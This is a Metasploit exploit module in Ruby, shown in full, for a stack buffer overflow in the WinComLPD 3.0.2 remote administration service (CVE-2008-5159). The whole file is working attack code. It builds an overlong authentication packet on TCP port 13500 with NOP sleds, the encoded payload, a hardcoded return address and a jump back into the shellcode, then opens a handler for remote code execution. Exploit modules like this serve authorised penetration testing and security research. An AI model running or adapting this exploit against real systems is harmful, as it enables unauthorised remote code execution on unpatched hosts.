## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'WinComLPD Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in WinComLPD <= 3.0.2. By sending an overly long authentication packet to the remote adminstration service, an attacker may be able to execute arbitrary code. }, 'Author' => 'MC', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2008-5159'], ['OSVDB', '42861'], ['BID', '27614'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ], ], 'Privileged' => true, 'DisclosureDate' => 'Feb 4 2008', 'DefaultTarget' => 0)) register_options([Opt::RPORT(13500)], self) end def exploit connect # 'net start lpdservice' after you migrate! sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F" sploit << make_nops(872 - payload.encoded.length) sploit << payload.encoded + Rex::Arch::X86.jmp_short(6) sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8) sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1) print_status("Trying target #{target.name}...") sock.puts(sploit) select(nil,nil,nil,5) handler disconnect end end